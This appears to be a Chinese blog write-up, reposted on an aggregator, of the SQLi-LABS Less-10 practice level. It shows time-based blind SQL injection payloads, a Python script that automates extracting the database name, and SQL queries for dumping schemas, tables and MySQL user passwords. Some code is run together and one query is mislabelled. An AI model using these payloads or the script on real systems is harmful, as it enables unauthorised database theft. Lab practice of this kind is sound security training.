bool盲注,SQLi LABS Less 10 時間盲注

 2023-10-08 阅读 30 评论 0

摘要:第十關是雙引號字符型注入,推薦使用時間盲注。 一、功能分析 二、思路分析 三、解題步驟 方式一:時間盲注 第一步、判斷注入條件 第二步、判斷長度 第三步、枚舉字符 脫庫 一、功能分析 二、思路分析 bool盲注。頁面無顯示位,不適合聯合注入; 頁面

第十關是雙引號字符型注入,推薦使用時間盲注。

一、功能分析

二、思路分析

三、解題步驟

方式一:時間盲注

第一步、判斷注入條件

第二步、判斷長度

第三步、枚舉字符

脫庫


一、功能分析

二、思路分析

bool盲注。頁面無顯示位,不適合聯合注入;

頁面不顯示數據庫的報錯信息,不適合報錯注入;

查詢的正確和錯誤不會影響頁面的響應(后臺寫死了,只返回You are in...........),不適合布爾盲注;

綜上所述,嘗試使用時間盲注。

三、解題步驟

方式一:時間盲注

第一步、判斷注入條件

地址欄輸入:?id=1" and if(1,sleep(5),3) -- a

sqli labs,頁面響應時間超過5秒,確定存在時間盲注。

第二步、判斷長度

判斷當前使用數據庫的名字長度是否大于1,地址欄輸入:

?id=1" and if((length(database()) >1)
,sleep(5),3) -- a

長度肯定大于1,頁面延時5秒,確定payload可用。

從1開始,依次遞增測試長度,頁面響應時間超過5秒則表示猜解成功,稍后使用腳本自動化猜解。

第三步、枚舉字符

截取當前使用數據庫名字的第一個字符,通過窮舉法判斷具體字符。

盲注工具,為了方便腳本測試,這里將字符轉換成ASCLL。

判斷第一個字符的ASCLL是否大于1,地址欄輸入:

?id=1" and if((ascii(substr((database()),1,1)) >1)
,sleep(5),3) -- a

肯定大于1,頁面延時5秒,確定payload可用。

窮舉第一個字符的所有可能性(對應的ASCLL為:32~126),窮舉成功后,再依法窮舉剩余字符,稍后使用腳本自動化猜解。

脫庫

Python自動化腳本如下,可按需修改:

import requests
import time# 將url 替換成你的靶場關卡網址
# 修改兩個對應的payload# 目標網址(不帶參數)
url = "http://00b5c770b91b4b7aae704c39602fc0f9.app.mituan.zone/Less-10/"
# 猜解長度使用的payload
payload_len = """?id=1" and if((length((database())) ={n})
,sleep(5),3) -- a"""
# 枚舉字符使用的payload
payload_str = """?id=1" and if((ascii(substr((database()),{n},1)) ={r})
,sleep(5),3) -- a"""# 獲取長度
def getLength(url, payload):length = 1  # 初始測試長度為1while True:start_time = time.time()response = requests.get(url= url+payload_len.format(n= length))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 響應時間>5秒時,表示猜解成功if use_time > 5:print('測試長度完成,長度為:', length,)return length;else:print('正在測試長度:',length)length += 1  # 測試長度遞增# 獲取字符
def getStr(url, payload, length):str = ''  # 初始表名/庫名為空# 第一層循環,截取每一個字符for l in range(1, length+1):# 第二層循環,枚舉截取字符的每一種可能性for n in range(33, 126):start_time = time.time()response = requests.get(url= url+payload_str.format(n= l, r= n))# 頁面響應時間 = 結束執行的時間 - 開始執行的時間use_time = time.time() - start_time# 頁面中出現此內容則表示成功if use_time > 5:str+= chr(n)print('第', l, '個字符猜解成功:', str)break;return str;# 開始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

執行結果如下:

sql語句時間戳轉換?

其他脫庫操作時,將圈起來的部分替換成SQL語句即可:

?

?脫庫常用SQL語句:

# 獲取所有數據庫
(select group_concat(schema_name)
from information_schema.schemata)# 獲取 security 庫的所有表
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")# 獲取 users 表的所有字段
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")# 獲取數據庫管理員的密碼
(select password
from mysql.user
where user="mituan")

sqlmap基于時間盲注命令,

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/3/129458.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息